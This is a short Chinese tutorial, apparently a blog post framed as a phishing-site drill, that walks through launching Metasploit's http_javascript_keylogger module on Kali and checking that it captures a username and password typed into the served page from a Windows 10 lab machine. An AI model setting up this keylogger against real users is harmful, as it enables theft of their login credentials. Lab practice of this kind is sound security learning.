Kali与编程:小白黑客带你进行钓鱼网站攻防演练【下节更精彩】
(以下步骤配合克隆网站才算成功)
用户键盘输入被不法分子监控和记录的套路是怎么样子的?
准备工作
实验环境:kali2019 和win10(我自己的真机)
查看postgresql服务的状态:service postgresql status
若没有打开则输入:service postgresql start 临时开启服务
或者永久开启即:update -rc.d postgresql enable
服务打开后如下面所示
Kali:
进入msfconsole框架
键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上
search keylogger
使用search keylogger攻击模块:use auxiliary/server/capture/http_javascript_keylogger
show options查看要设置的内容
set demo true
set uipath /
run
生成local ip
本机:
将生成IP在浏览器登录(由于我还未克隆网站,所以简陋了一些)
随便输入用户名和密码看看能否监控
发现kali已经监控成功